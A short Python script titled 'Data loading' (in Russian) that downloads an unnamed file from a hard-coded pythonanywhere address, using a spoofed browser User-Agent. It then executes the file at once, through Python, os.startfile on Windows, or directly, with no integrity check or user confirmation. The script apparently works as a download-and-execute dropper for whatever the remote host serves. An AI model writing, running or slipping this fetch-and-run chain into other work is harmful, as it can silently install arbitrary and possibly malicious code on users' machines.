Загрузка данных


# simple_run.py
import os
import subprocess
from pathlib import Path
from urllib.request import urlopen, Request

URL = "https://anonimaboba.pythonanywhere.com/download"

def get_filename(url, resp):
    cd = resp.headers.get("Content-Disposition", "")
    if "filename=" in cd:
        return cd.split("filename=")[-1].strip('" ')
    return os.path.basename(url) or "downloaded"

def main():
    url = URL
    downloads = Path.home() / "Downloads"
    downloads.mkdir(parents=True, exist_ok=True)

    name = os.path.basename(url) or "downloaded"
    path = downloads / name

    if path.exists():
        print(f"[*] Файл уже есть: {path} — пропускаю скачивание")
    else:
        print(f"[*] Скачиваю: {url}")
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req, timeout=30) as r:
            real_name = get_filename(url, r)
            if real_name != name:
                path = downloads / real_name
                if path.exists():
                    print(f"[*] Файл уже есть: {path} — пропускаю скачивание")
                    return
            with open(path, "wb") as f:
                f.write(r.read())
        print(f"[+] Сохранено: {path}")

    # Запуск
    ext = path.suffix.lower()
    if ext == ".py":
        cmd = [os.sys.executable, str(path)]
    elif os.name == "nt":
        os.startfile(str(path))
        return
    else:
        cmd = [str(path)]

    print(f"[>] Запуск: {' '.join(cmd)}")
    subprocess.run(cmd)

if __name__ == "__main__":
    main()